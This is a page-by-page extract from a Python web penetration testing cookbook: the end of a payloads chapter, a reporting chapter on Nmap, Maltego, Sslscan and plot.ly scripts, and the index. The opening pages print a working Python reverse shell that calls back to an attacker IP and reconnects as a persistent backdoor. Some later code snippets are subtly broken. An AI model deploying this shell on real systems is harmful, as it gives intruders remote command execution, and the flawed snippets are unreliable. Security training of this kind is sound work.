            "text": "Payloads and Shells\n178\ndef wait(go):\n   data = go.recv(1024)\n   if data == \"exit\\n\":\n      go.close()\n      sys.exit(0)\n   elif len(data)==0:\n      return True\n   else:\n      p = subprocess.Popen(data, shell=True,\n         stdout=subprocess.PIPE, stderr=subprocess.PIPE,\n         stdin=subprocess.PIPE)\n      stdout = p.stdout.read() + p.stderr.read()\n      go.send(stdout)\n      return False\ndef main():\n   while True:\n      dead=False\n      try:\n         go=connect((HOST,PORT))\n         while not dead:\n            dead=wait(go)\n         go.close()\n      except socket.error:\n         pass\n      time.sleep(2)\nif __name__ == \"__main__\":\n   sys.exit(main())\nHow it works…\nTo start the script as normal, we need to import our modules that will be used throughout  \nthe script:\nimport socket\nimport subprocess\nimport sys\nimport time\nwww.it-ebooks.info\n"
        },
        {
            "page_number": 202,
            "text": "Chapter 8\n179\nWe then need to define our variables: these values are the IP and port of the attacking \nmachine to establish a connection with:\nHOST = '172.16.0.2'    # Your attacking machine to connect back to\nPORT = 4444           # The port your attacking machine is  \n  listening on\nWe then move on to defining the original connection; we can then assign a value to our \nestablished value and refer to this later on to read the input and send the standard output.\nWe refer back to the host and port value that we previously set and create the connection.  \nWe assign the established connection the value of go:\ndef connect((host, port)):\n   go = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n   go.connect((host, port))\n   return go\nWe can then introduce the block of code that will do the waiting portion for us. This will be \nawaiting commands to be sent to it through the attacking machine's Netcat session. We \nensure that data that gets sent through the session is piped into the shell and the standard \noutput of this is then returned to us through the established Netcat session, thus giving us \nshell access through our reverse connection.\nWe give the name data to the values that are passed to the compromised machine through \nthe Netcat session. A value is added to the script to exit the session when the user is done; \nwe've chosen exit for this, which means entering exit into our Netcat session will terminate \nthe established connection. We then get down to the nitty gritty parts in which the data \nis opened (read) and piped into the shell for us. Once this has been done, we ensure the \nstdout value is read and given a value of stdout (this could be anything), which we then \nsend back to ourselves via the go session that we established earlier. The code is as follows:\ndef wait(go):\n   data = go.recv(1024)\n   if data == \"exit\\n\":\n      go.close()\n      sys.exit(0)\n   elif len(data)==0:\n      return True\n   else:\n      p = subprocess.Popen(data, shell=True,\n         stdout=subprocess.PIPE, stderr=subprocess.PIPE,\n         stdin=subprocess.PIPE)\n      stdout = p.stdout.read() + p.stderr.read()\n      go.send(stdout)\n      return False\nwww.it-ebooks.info\n"
        },
        {
            "page_number": 203,
            "text": "Payloads and Shells\n180\nThe final portion of our script is our error-checking and running portion. Before the script  \nruns, we make sure we let Python know that we have a mechanism in place to check whether \nthe session is active by using our previous true statement. If the connection is lost, the \nPython script will attempt to re-establish a connection with the attacking machine, making it a \npersistent backdoor:\ndef main():\n   while True:\n      dead=False\n      try:\n         go=connect((HOST,PORT))\n         while not dead:\n            dead=wait(go)\n         go.close()\n      except socket.error:\n         pass\n      time.sleep(2)\nif __name__ == \"__main__\":\n   sys.exit(main())\nwww.it-ebooks.info\n"
        },
        {
            "page_number": 204,
            "text": "181\n9\nReporting\nIn this chapter, we will cover the following topics:\nf\nf\nConverting Nmap XML to CSV\nf\nf\nExtracting links from URLs to Maltego\nf\nf\nExtracting e-mails to Maltego\nf\nf\nParsing Sslscan to CSV\nf\nf\nGenerating graphs using plot.ly\nIntroduction\nWe’ve got recipes throughout this book to perform various aspects of web application testing. \nSo, we’ve got all this information. We’ve got console outputs from our recipes, but how do we \ncollect all this into a useful format? Ideally, we’ll want the output to be in a format that we can \nuse. Or we might want to convert the output from another application such as Nmap, into the \nformat that we’re using. This can either be as comma separated variables (CSV), or possibly \na Maltego transform, or any other format that you want to work with.\nWhat’s this Maltego thing you just mentioned? I hear you ask. Maltego is an Open Source \nIntelligence (OSINT) and forensics application. It has a nice GUI that helps you visualize your \ninformation in a nice, pretty, and easy to understand way.\nwww.it-ebooks.info\n"
        },
        {
            "page_number": 205,
            "text": "Reporting\n182\nConverting Nmap XML to CSV\nNmap is a common tool used in the reconnaissance phase of a web application test. It is \nnormally used to scan ports with a variety of options to help you customise the scan to exactly \nhow you like it. For instance, do you want to do TCP or UDP? What TCP flags do you want to \nset? Is there a particular Nmap script that you would like to run, such as checking for Network \nTime Protocol (NTP) reflection, but on a non-default port? The list can be endless.\nThe Nmap output is easy to read, but not very easy to use in a programmatic way. This simple \nrecipe will convert XML output from Nmap (through the use of the –oX flag when running an \nNmap scan) and convert it to CSV output.\nGetting ready\nWhile this recipe is very simple in its implementation, you will need to install Python’s nmap \nmodule. You can do this by using pip or building it from the source files. You will also need \nXML output from an Nmap scan. You can get this from scanning a vulnerable virtual machine \nof your choice or a site that you have permission to run a scan on. You can use Nmap as it is \nor you can use Python’s nmap module to do this within a Python script.\nHow to do it…\nLike I mentioned earlier, this recipe is very simple. This is mainly due to the fact that the  \nnmap library has done most of the hard work for us.\nHere’s the script that we are going to use for this task:\nimport sys\nimport os\nimport nmap\nnm=nmap.Portscanner()\nwith open(“./nmap_output.xml”, “r”) as fd:\n    content = fd.read()\n    nm.analyse_nmap_xml_scan(content)\n    print(nm.csv())\nwww.it-ebooks.info\n"
        },
        {
            "page_number": 206,
            "text": "Chapter 9\n183\n How it works…\nSo, after the importing of necessary modules, we have to initialize an Nmap’s Portscanner \nfunction. Although we won’t be doing any port scanning within this recipe, this is necessary to \nallow us to use the methods within the object:\nnm=nmap.Portscanner()\nThen, we have a with statement. What’s one of those? Previously, when you opened files in \nPython, you would have to remember to close it once you were finished. In this situation, the \nwith statement will do that for you once all the code within it has been executed. It’s great if \nyou don’t have a great memory and keep forgetting to close files in your code:\nwith open(“./nmap_output.xml”, “r”) as fd:\nAfter the with statement, we read the contents of the file into a content variable  \n(we could call this variable whatever we want, but why overcomplicate things?):\n    content = fd.read()\nUsing the Portscanner object we created earlier, we can now analyze the contents  \nwith a method that will parse the XML output we have provided, which we can then print  \nout as a CSV:\nnm.analyse_nmap_xml_scan(content)\n    print(nm.csv())\nExtracting links from a URL to Maltego\nThere is another recipe in this book that illustrates how to use the BeautifulSoup library to \nprogrammatically get domain names. This recipe will show you how to create a local Maltego \ntransform, which you can then use within Maltego itself to generate information in an easy to \nuse, graphical way. With the links gathered from this transform, this can then also be used as \npart of a larger spidering or crawling solution.\nHow to do it…\nThe following code shows how you can create a script that will output the enumerated \ninformation into the correct format for Maltego:\nimport urllib2\nfrom bs4 import BeautifulSoup\nimport sys\nwww.it-ebooks.info\n"
        },
        {
            "page_number": 207,
            "text": "Reporting\n184\ntarurl = sys.argv[1]\nif tarurl[-1] == “/”:\n  tarurl = tarurl[:-1]\nprint”<MaltegoMessage>”\nprint”<MaltegoTransformResponseMessage>”\nprint”  <Entities>”\nurl = urllib2.urlopen(tarurl).read()\nsoup = BeautifulSoup(url)\nfor line in soup.find_all(‘a’):\n  newline = line.get(‘href’)\n  if newline[:4] == “http”:\n    print”<Entity Type=\\”maltego.Domain\\”>” \n    print”<Value>”+str(newline)+”</Value>”\n    print”</Entity>”\n  elif newline[:1] == “/”:\n    combline = tarurl+newline\n    print”<Entity Type=\\”maltego.Domain\\”>” \n    print”<Value>”+str(combline)+”</Value>”\n    print”</Entity>”\nprint”  </Entities>”\nprint”</MaltegoTransformResponseMessage>”\nprint”</MaltegoMessage>”\n How it works…\nFirst we import all the necessary modules for this recipe. You may have noticed that for \nBeautifulSoup, we have the following line:\nfrom bs4 import BeautifulSoup\nThis is so that when we use BeautifulSoup, we just have to type BeautifulSoup instead \nof bs4.BeautifulSoup.\nWe then assign the target URL supplied in the argument into a variable:\ntarurl = sys.argv[1]\nOnce we have done that, we check to see whether the target URL ends in a /. If it does, then \nwe remove the last character by replacing the tarurl variable with all but the last character \nof tarurl, so that it can be used later on in the recipe when outputting relative links in full:\nif tarurl[-1] == “/”:\n  tarurl = tarurl[:-1]\nwww.it-ebooks.info\n"
        },
        {
            "page_number": 208,
            "text": "Chapter 9\n185\nWe then print out the tags that form part of a Maltego transform response:\nprint”<MaltegoMessage>”\nprint”<MaltegoTransformResponseMessage>”\nprint”  <Entities>”\nWe then open the target url with urllib2 and store this within BeautifulSoup:\nurl = urllib2.urlopen(tarurl).read()\nsoup = BeautifulSoup(url)\nWe now use soup to find all <a> tags. More specifically, we will be looking for the <a> tags \nwith hypertext references (links):\nfor line in soup.find_all(‘a’):\n  newline = line.get(‘href’)\nIf the first four characters of the link are http, we’ll output it into the correct format as an \nentity for Maltego:\nif newline[:4] == “http”:\n    print”<Entity Type=\\”maltego.Domain\\”>”\n    print”<Value>”+str(newline)+”</Value>”\n    print”</Entity>”\nIf the first character is a / , which indicates that the link is a relative link, then we’ll output it to \nthe correct format after we have prepended the target URL to the link. While this recipe shows \nhow to deal with one example of a relative link, it is important to note that there are other \ntypes of relative links, such as just a filename (example.php), a directory, and also a relative \npath dot notation (../../example.php), as shown here:\nelif newline[:1] == “/”:\n    combline = tarurl+newline\n    if \n    print”<Entity Type=\\”maltego.Domain\\”>”\n    print”<Value>”+str(combline)+”</Value>”\n    print”</Entity>”\nAfter we have processed all the links on the page, we close all the tags that we opened at the \nstart of the output:\nprint”  </Entities>”\nprint”</MaltegoTransformResponseMessage>”\nprint”</MaltegoMessage>”\nwww.it-ebooks.info\n"
        },
        {
            "page_number": 209,
            "text": "Reporting\n186\nThere’s more…\nThe BeautifulSoup library contains other functions that could make your code simpler. One \nof these functions is called SoupStrainer. SoupStrainer will allow you to parse only the parts \nof the document that you want. We have left this as an exercise for you to explore.\nExtracting e-mails to Maltego\nThere is another recipe in this book that illustrates how to extract e-mails from a website.  \nThis recipe will show you how to create a local Maltego transform, which you can then use \nwithin Maltego itself to generate information. It can be used in conjunction with URL spidering \ntransforms to pull e-mails from entire websites.\nHow to do it…\nThe following code shows how to extract e-mails from a website through the use of  \nregular expressions:\nimport urllib2\nimport re\nimport sys\ntarurl = sys.argv[1]\nurl = urllib2.urlopen(tarurl).read()\nregex = re.compile((“([a-z0-9!#$%&’*+\\/=?^_`{|}~-  \n  ]+(?:\\.[*+\\/=?^_`{|}~-]+(?:\\.[a-z0-9!#$%&’*+\\/=?^_`” “{|}~-  \n  ]+)*(@|\\sat\\s)(?:[a-z0-9](?:[a-z0-9-]*[a-z0-9])?(\\.|” “\\  \n  sdot\\s))+[a-z0-9](?:[a-z0-9-]*[a-z0-9])?)”))\nprint”<MaltegoMessage>”\nprint”<MaltegoTransformResponseMessage>”\nprint”  <Entities>”\nemails = re.findall(regex, url)\nfor email in emails:\n  print”    <Entity Type=\\”maltego.EmailAddress\\”>”\n  print”      <Value>”+str(email[0])+”</Value>”\n  print”    </Entity>”\nprint”  </Entities>”\nprint”</MaltegoTransformResponseMessage>”\nprint”</MaltegoMessage>”\nwww.it-ebooks.info\n"
        },
        {
            "page_number": 210,
            "text": "Chapter 9\n187\n How it works…\nThe top of the script imports the necessary modules. After this, we then assign the URL \nsupplied as an argument to a variable and open the url list using urllib2:\ntarurl = sys.argv[1]\nurl = urllib2.urlopen(tarurl).read()\nWe then create a regular expression that matches the format of a standard e-mail address:\nregex = re.compile((“([a-z0-9!#$%&’*+\\/=?^_`{|}~-]+(?:\\.[a-z0-  \n  9!#$%&’*+\\/=?^_`” “{|}~-]+)*(@|\\sat\\s)(?:[a-z0-9](?:[a-z0-9-  \n  ]*[a-z0-9])?(\\.|” “\\sdot\\s))+[a-z0-9](?:[a-z0-9-]*[a-z0-9])?)”))\nThe preceding regular expression should match e-mail addresses in the format email@\naddress.com or e-mail at address dot com.\nWe then output the tags required for a valid Maltego transform output:\nprint”<MaltegoMessage>”\nprint”<MaltegoTransformResponseMessage>”\nprint”  <Entities>”\nThen, we find all instances of text that match our regular expression inside the url content:\nemails = re.findall(regex, url)\nWe then take each e-mail address we have found and output it in the correct format for a \nMaltego transform response:\nfor email in emails:\n  print”    <Entity Type=\\”maltego.EmailAddress\\”>”\n  print”      <Value>”+str(email[0])+”</Value>”\n  print”    </Entity>”\nWe then close the open tags that we opened earlier:\nprint”  </Entities>”\nprint”</MaltegoTransformResponseMessage>”\nprint”</MaltegoMessage>”\nwww.it-ebooks.info\n"
        },
        {
            "page_number": 211,
            "text": "Reporting\n188\nParsing Sslscan into CSV\nSslscan is a tool used to enumerate the ciphers supported by HTTPS sites. Knowing the \nciphers that are supported by a site is useful in web application testing. This is even more \nuseful in a penetration test if some of the supported ciphers are weak.\nHow to do it…\nThis recipe will run Sslscan on a specified IP address and output the results into a CSV format:\nimport subprocess\nimport sys\nipfile = sys.argv[1]\nIPs = open(ipfile, “r”)\noutput = open(“sslscan.csv”, “w+”)\nfor IP in IPs:\n  try:\n    command = “sslscan “+IP\n    ciphers = subprocess.check_output(command.split())\n    for line in ciphers.splitlines():\n      if “Accepted” in line:\n        output.write(IP+”,”+line.split()[1]+”,”+  \n        line.split()[4]+”,”+line.split()[2]+”\\r”)\n  except:\n    pass\n How it works…\nWe first import the necessary modules and assign the filename supplied in the argument  \nto a variable:\nimport subprocess\nimport sys\nipfile = sys.argv[1]\nwww.it-ebooks.info\n"
        },
        {
            "page_number": 212,
            "text": "Chapter 9\n189\nThe filename supplied should point to a file containing a list of IP addresses. We open this file \nas read-only:\nIPs = open(ipfile, “r”)\nWe then open up a file for reading and writing output by using w+ instead of r:\noutput = open(“sslscan.csv”, “w+”)\nNow that we have our input and somewhere to write our output, we’re ready to rock and roll. \nWe start by iterating through the IP addresses:\nfor IP in IPs:\nFor each IP, we run Sslscan:\n  try:\n    command = “sslscan “+IP\nWe then split up the output from the command into chunks:\n    ciphers = subprocess.check_output(command.split())\nWe then go through the output, line by line. If the line contains the word Accepted, then we \narrange the elements of the line for CSV output:\n    for line in ciphers.splitlines():\n      if “Accepted” in line:\n        output.write(IP+”,”+line.split()[1]+”,”+  \n        line.split()[4]+”,”+line.split()[2]+”\\r”)\nFinally, if for any reason the attempt to run the SSL scan on the IP fails, we simply move on to \nthe next IP address:\n  except:\n  pass\nGenerating graphs using plot.ly\nSometimes it’s really nice to have a visual representation of your data. In this recipe, we are \ngoing to look at using the plot.ly python API to generate a nice graph.\nGetting ready\nIn this recipe, we will be using the plot.ly API to generate our graph. If you don’t already \nhave one, you’ll need to sign up for an account at https://plot.ly.\nwww.it-ebooks.info\n"
        },
        {
            "page_number": 213,
            "text": "Reporting\n190\nOnce you have an account, you will need to prepare your environment for using plot.ly.\nThe easiest way is to use pip to install it, so simply run the command:\n$ pip install plotly\nThen, you will need to run the following command (substituting the {username}, {apikey}, \nand {streamids} with your own, which are viewable under your account subscriptions on \nthe plot.ly site):\npython -c “import plotly;   \n  plotly.tools.set_credentials_file(username=’{username}’,   \n  api_key=’{apikey}’, stream_ids=[{streamids}])”\nIf you are following along with this example, I used the pcap file that is available online here \nfor testing: http://www.snaketrap.co.uk/pcaps/hbot.pcap.\nWe will be enumerating all the FTP packets from the pcap file and plotting them against time.\nTo parse the pcap file, we will be using the dpkt module. Like Scapy, which has been used \nin earlier recipes, dpkt can be use to parse and manipulate packets.\nThe easiest way is to use pip to install it. Simply run the following command:\n$ pip install dpkt\nHow to do it…\nThis recipe will read a pcap file and extract the dates and times of any FTP packets before \nplotting this data to a graph:\nimport time, dpkt\nimport plotly.plotly as py\nfrom plotly.graph_objs import *\nfrom datetime import datetime\nfilename = ‘hbot.pcap’\nfull_datetime_list = []\ndates = []\nfor ts, pkt in dpkt.pcap.Reader(open(filename,’rb’)):\n    eth=dpkt.ethernet.Ethernet(pkt) \n    if eth.type!=dpkt.ethernet.ETH_TYPE_IP:\n        continue\nwww.it-ebooks.info\n"
        },
        {
            "page_number": 214,
            "text": "Chapter 9\n191\n    ip = eth.data\n    tcp=ip.data\n    if ip.p not in (dpkt.ip.IP_PROTO_TCP, dpkt.ip.IP_PROTO_UDP):\n        continue\n    if tcp.dport == 21 or tcp.sport == 21:\n        full_datetime_list.append((ts, str(time.ctime(ts))))\nfor t,d in full_datetime_list:\n    if d not in dates:\n        dates.append(d)\ndates.sort(key=lambda date: datetime.strptime(date, “%a %b %d  \n  %H:%M:%S %Y”))\ndatecount = []\nfor d in dates:\n    counter = 0\n    for d1 in full_datetime_list:\n        if d1[1] == d:\n            counter += 1\n    datecount.append(counter)\ndata = Data([\n    Scatter(\n        x=dates,\n        y=datecount\n    )\n])\nplot_url = py.plot(data, filename=’FTP Requests’)\nHow it works…\nWe first import the necessary modules and assign the filename of our pcap file to a variable:\nimport time, dpkt\nimport plotly.plotly as py\nfrom plotly.graph_objs import *\nfrom datetime import datetime\nfilename = ‘hbot.pcap’\nwww.it-ebooks.info\n"
        },
        {
            "page_number": 215,
            "text": "Reporting\n192\nNext, we set up our lists that we will populate when we iterate over our pcap file.  \nThe Full_datetime_list variable will hold all the FTP packets dates while dates  \nwe will use to hold unique datetime from the full list:\nfull_datetime_list = []\ndates = []\nWe then open up the pcap file for reading and iterate over it in a for loop. This section \nchecks that the packet is an FTP packet and if it is, it then appends the time to our array:\nfor ts, pkt in dpkt.pcap.Reader(open(filename,’rb’)):\n    eth=dpkt.ethernet.Ethernet(pkt) \n    if eth.type!=dpkt.ethernet.ETH_TYPE_IP:\n        continue\n    ip = eth.data\n    tcp=ip.data\n    \n    if ip.p not in (dpkt.ip.IP_PROTO_TCP, dpkt.ip.IP_PROTO_UDP):\n        continue\n    if tcp.dport == 21 or tcp.sport == 21:\n        full_datetime_list.append((ts, str(time.ctime(ts))))\nNow that we have our list of datetime function for the FTP traffic, we can get the unique \ndatetime function out of it and populate our dates array:\nfor t,d in full_datetime_list:\n    if d not in dates:\n        dates.append(d)\nWe then sort the dates, so that they are in order on our graph:\ndates.sort(key=lambda date: datetime.strptime(date, “%a %b %d  \n  H:%M:%S %Y”))\nThen, we simply iterate over the unique dates and count all the packets sent/received during \nthat time from our larger array and populate our counter array:\ndatecount = []\nfor d in dates:\n    counter = 0\n    for d1 in full_datetime_list:\n        if d1[1] == d:\n            counter += 1\n    datecount.append(counter)\nwww.it-ebooks.info\n"
        },
        {
            "page_number": 216,
            "text": "Chapter 9\n193\nAll that is left to do is make an API call to plot.ly, using our date array and count the array \nas the data points:\ndata = Data([\n    Scatter(\n        x=dates,\n        y=datecount\n    )\n])\nplot_url = py.plot(data, filename=’FTP Requests’)\nWhen you run the script, it should pop open the browser to your newly created plot.ly \ngraph, as shown here:\nAnd that’s all there is to it. plot.ly has a lot of different methods to visualize your data and \nit is well worth having a play around with it. Think of how impressed your boss will be when \nthey see all the pretty graphs that you start sending them.\nwww.it-ebooks.info\n"
        },
        {
            "page_number": 217,
            "text": "www.it-ebooks.info\n"
        },
        {
            "page_number": 218,
            "text": "195\nIndex\nA\nalternative sites\nidentifying, by spoofing user agents  101-103\nApplication Programming Interface (API)  2\nAtbash cipher\ncracking  153\nautomated fuzzing  58-60\nautomated URL-based Cross-site  \nscripting  51-57\nautomated URL-based Directory  \nTraversal  48-50\nB\nBase64 encoding  148\nBcrypt hash\nabout  144\ngenerating  144, 145\nBeautifulSoup library  186\nblind SQL Injection\nexploiting  79-81\nBoolean SQLi\nexploiting  76-79\nbrute forcing login\nthrough the authorization header  95-97\nC\nCapture The Flag (CTF) challenges  149\nclickjacking  97\nclickjacking vulnerabilities\ntesting for  97-100\ncommand\nenabling, steganography used  126-133\ncomma separated variables (CSV)\nabout  181\nNmap XML, converting to  182, 183\nSslscan, parsing into  188, 189\ncomments\nsearching, in source code  43-45\ncommon transfer files (CTFs)  68\nCommon Vulnerabilities and  \nExposures (CVE)  6\ncontrol\nenabling, steganography used  126-133\nCross-site scripting (XSS)  47\nCross Site Tracing (XST)  88\nD\nDamn Vulnerable Web App (DVWA)  35\ndata\nextracting, through HTTP requests  165-167\nDirect Object Reference (DOR)  48\nE\ne-mail addresses\ngenerating, from names  39, 40\nsearching, from web pages  41-43\ne-mails\nextracting, to Maltego  186, 187\nF\nfiles\nenumerating  34-36\nFTP C2\ncreating  171-173\nwww.it-ebooks.info\n"
        },
        {
            "page_number": 219,
            "text": "196\nFuzzDB\nURL  58\nfuzzing  58\nG\nGoogle+ API\nadditional results, harvesting using  \npagination  10-12\nused, for downloading profile pictures  9, 10\nGoogle+ API search\nscripting  7-9\ngraphs\ngenerating, plot.ly used  189-193\nH\nhashes\nidentifying  158-163\nheader-based Cross-site scripting  64-67\nHide_message function\nabout  112\ncarrier parameter  112\nmessage parameter  112\noutfile parameter  112\nHTTP C2\ncreating  167-170\nHTTP headers\nservers, fingerprinting through  90-92\nHTTP methods\ntesting  88-90\nHTTP requests\ndata, extracting through  165-167\nHTTP RFC handy\nURL  87\nI\nImgur\nURL  126\ninformation\nobtaining, Shodan API used  2-6\ninsecure cookie flags\ntesting for  104-106\ninsecure headers\ntesting for  92-94\nInternet Control Message Protocol (ICMP) \npacket  24\nIntrusion Detection System (IDS)  126\nJ\njitter\nabout  71\nchecking  71-73\njQuery checking  61-63\nL\nleast significant bit (LSB)  109\nlinear congruential generator\npredicting  156, 157\nlinks\nextracting, from URL to Maltego  183-185\nLSB steganography\nused, for hiding message  110-113\nM\nMaltego\ne-mails, extracting to  186, 187\nlinks, extracting from URL  183-185\nman in the middle (MITM) attacks  94\nMD5 hash\nabout  136\ncracking  146, 147\ngenerating  136, 137\nmessage\nextracting, hidden in LSB  114, 115\nhiding, LSB steganography used  110-113\nN\nNetwork Time Protocol (NTP)  182\nNmap  182\nNmap XML\nconverting, to CSV  182, 183\nNot Safe For Work (NSFW) tag  149\nwww.it-ebooks.info\n"
        },
        {
            "page_number": 220,
            "text": "197\nO\none-time pad reuse\nattacking  154, 156\nonline CVE databases\nreference  92\nOpen Source Intelligence (OSINT)  1, 181\nOpen Web Application Security Project \n(OWASP)  47\nP\npagination\nused, for harvesting additional results  \nfrom Google+ API  10-12\npasswords\nbrute forcing  36-39\npayloads\nencoding  83, 84\nPHPSESSION\nURL  106\nping sweep\nperforming, Scapy used  24-27\nplot.ly\nused, for generating graphs  189-193\nprofile pictures\ndownloading, Google+ API used  9, 10\nPython Image Library (PIL)  110\nQ\nQtWebKit\nabout  12\nused, for obtaining website  \nscreenshots  12-14\nR\nregular expressions (Regex)  158\nROT13 encoding\nabout  149\nusing  149, 150\nS\nScapy\nabout  24\nscanning with  28, 29\nURL  30\nused, for performing ping sweep  24-27\nscreenshots\nbased on port list  15-19\nSecurity Operation Centre (SOC) analyst  174\nservers\nfingerprinting, through HTTP headers  90-92\nsession fixation\nabout  107\nthrough cookie injection  107, 108\nSHA\nimplementing, in real-world scenario  141-143\nSHA 1/128/256 hash\ngenerating  137, 138\nSHA and MD5 hashes\nimplementing together  139-141\nShellshock checking  68-70\nShodan\nabout  2\nURL  2\nShodan API\nused, for obtaining information  2-6\nsimple Netcat shell\ncreating  177-179\nSoupStrainer  186\nSQL Injection  71\nSslscan\nabout  188\nparsing, into CSV  188, 189\nstandard twitter API\nURL  175\nsteganography\nabout  109\nused, for enabling command  \nand control  126-133\nsubstitution cipher\ncracking  150-152\nwww.it-ebooks.info\n"
        },
        {
            "page_number": 221,
            "text": "198\nT\ntext\nextracting, from images  119-122\nhiding, in images  115-119\nTRACE  88\nTwitter C2\ncreating  174-177\nU\nURL-based SQLi\nidentifying  73-76\nusernames\nbrute forcing  32, 33\nusername validity\nchecking  30, 31\nW\nWeb App Firewalls (WAFs)  83\nwebsites\nspidering  19-21\nwebsite screenshots\nobtaining, QtWebKit used  12-14\nWikipedia page on ANSI\nURL  105\nwww.it-ebooks.info\n"
        },
        {
            "page_number": 222,
            "text": "Thank you for buying  \nPython Web Penetration \nTesting Cookbook\nAbout Packt Publishing\nPackt, pronounced 'packed', published its first book, Mastering phpMyAdmin for Effective MySQL \nManagement, in April 2004, and subsequently continued to specialize in publishing highly focused \nbooks on specific technologies and solutions.\nOur books and publications share the experiences of your fellow IT professionals in adapting and \ncustomizing today's systems, applications, and frameworks. Our solution-based books give you the \nknowledge and power to customize the software and technologies you're using to get the job done. \nPackt books are more specific and less general than the IT books you have seen in the past. Our \nunique business model allows us to bring you more focused information, giving you more of what \nyou need to know, and less of what you don't.\nPackt is a modern yet unique publishing company that focuses on producing quality, cutting-edge \nbooks for communities of developers, administrators, and newbies alike. For more information, \nplease visit our website at www.packtpub.com.\nWriting for Packt\nWe welcome all inquiries from people who are interested in authoring. Book proposals should \nbe sent to author@packtpub.com. If your book idea is still at an early stage and you would \nlike to discuss it first before writing a formal book proposal, then please contact us; one of our \ncommissioning editors will get in touch with you. \nWe're not just looking for published authors; if you have strong technical skills but no writing \nexperience, our experienced editors can help you develop a writing career, or simply get some \nadditional reward for your expertise.\nwww.it-ebooks.info\n"
        },
        {
            "page_number": 223,
            "text": "Python Penetration  \nTesting Essentials\nISBN: 978-1-78439-858-3            Paperback: 178 pages\nEmploy the power of Python to get the best out  \nof pentesting\n1.\t\nLearn to detect and avoid various types of  \nattacks that put the privacy of a system at risk.\n2.\t\nEmploy practical approaches to penetration \ntesting using Python to build efficient code  \nand eventually save time.\n3.\t\nEnhance your concepts about wireless \napplications and information gathering  \nof a web server.\nKali Linux CTF Blueprints\nISBN: 978-1-78398-598-2            Paperback: 190 pages\nBuild, text, and customize your own Capture the Flag \nchallenges across multiple platforms designed to be \nattacked with Kali Linux\n1.\t\nPut the skills of the experts to the test with these \ntough and customisable pentesting projects.\n2.\t\nDevelop each challenge to suit your specific \ntraining, testing, or client engagement needs.\n3.\t\nHone your skills, from wireless attacks to  \nsocial engineering, without the need to access  \nlive systems.\nPlease check www.PacktPub.com for information on our titles\nwww.it-ebooks.info\n"
        },
        {
            "page_number": 224,
            "text": "Web Penetration Testing with \nKali Linux\nISBN: 978-1-78216-316-9             Paperback: 342 pages\nA practical guide to implementing penetration testing \nstrategies on websites, web applications, and standard \nweb protocols with Kali Linux\n1.\t\nLearn key reconnaissance concepts needed  \nas a penetration tester.\n2.\t\nAttack and exploit key features, authentication, \nand sessions on web applications.\n3.\t\nLearn how to protect systems, write reports,  \nand sell web penetration testing services.\nKali Linux Wireless \nPenetration Testing \nBeginner's Guide\nISBN: 978-1-78328-041-4            Paperback: 214 pages\nMaster wireless testing techniques to survey and attack \nwireless networks with Kali Linux\n1.\t\nLearn wireless penetration testing with Kali  \nLinux; Backtrack's evolution.\n2.\t\nDetect hidden wireless networks and discover \ntheir names.\n3.\t\nExplore advanced Wi-Fi hacking techniques \nincluding rogue access point hosting and  \nprobe sniffing.\nPlease check www.PacktPub.com for information on our titles\nwww.it-ebooks.info\n"
        }
    ]
}